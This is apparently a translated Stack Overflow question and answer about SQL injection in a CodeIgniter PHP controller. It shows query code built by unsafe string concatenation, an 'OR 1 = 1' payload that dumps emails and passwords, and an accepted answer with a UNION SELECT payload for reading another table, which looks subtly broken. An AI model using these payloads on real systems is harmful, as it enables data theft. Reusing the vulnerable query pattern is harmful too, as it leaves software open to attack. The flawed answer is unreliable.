php - 代码点火器 SQL 注入(inject)

标签 php mysql codeigniter sql-injection

我的 Controller 上有这段代码:

$sql = "SELECT * FROM user WHERE id = " . $this->input->get('foo'); 
$foo = $this->db->query($sql);
echo '<pre>';
print_r($foo->result());
echo '</pre>';
die();

我注意到如果我使用这个 URL:
www.site.com?foo=1 或 1 = 1
显示用户表的所有数据:

Array
(
[0] => stdClass Object
    (
        [id] => 1
        [email] => aaa@gmail.com
        [password] => aaa
    )
[1] => stdClass Object
    (
        [id] => 1
        [email] => bbb@gmail.com
        [password] => bbb
    )
[2] => stdClass Object
    (
        [id] => 1
        [email] => ccc@gmail.com
        [password] => ccc
    )
)

是否可以运行另一个从 user_phone 表返回数据的查询?

表格:

CREATE TABLE `user` (
  `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(100) NOT NULL,
  `password` VARCHAR(255) NOT NULL
  PRIMARY KEY (`id`),
) ENGINE=INNODB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8


CREATE TABLE `user_phone` (
  `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
  `id_user` INT(11) UNSIGNED NOT NULL,
  `number` INT(11) UNSIGNED NOT NULL
  PRIMARY KEY (`id`)
) ENGINE=INNODB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8

数据:

INSERT  INTO `user`(`email`,`password`) VALUES ('aaa@gmail.com','aaa');
INSERT  INTO `user`(`email`,`password`) VALUES ('bbb@gmail.com','bbb');
INSERT  INTO `user`(`email`,`password`) VALUES ('ccc@gmail.com','ccc');

INSERT  INTO `user_phone`(`id_user`,`number`) VALUES ('1','911911911');
INSERT  INTO `user_phone`(`id_user`,`number`) VALUES ('1','922922922');
INSERT  INTO `user_phone`(`id_user`,`number`) VALUES ('2','955955955');
INSERT  INTO `user_phone`(`id_user`,`number`) VALUES ('3','711711711');

谢谢

编辑:
我知道防止这种情况发生的现有机制。
我的问题是是否可能以及如何从其他表中获取数据。

最佳答案

我认为它会是这样的。

www.site.com?foo=1 OR 1 = 1 union select * from user_phone where user_phone.id_user = user.id

关于php - 代码点火器 SQL 注入(inject),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/32147996/

相关文章:

php - Codeigniter 与其他非数据库功能的事务?

javascript - Codeigniter AJAX 数据返回空

php - 使用 Google Sheets API 更改单元格颜色 (PHP)

javascript - jQuery AJAX 在成功时将函数作为数据返回

php - 是否可以在变量中打印 php 变量?

PHP:Websocket 和 html5

php连接到sql本地服务器

mysql - sequelize.js - 你需要手动安装 mysql 包

java - 如何更改 JDBC 编码以支持法语重音字符

sql - 使用 codeigniter 和 ajax 检查数据库中是否存在用户名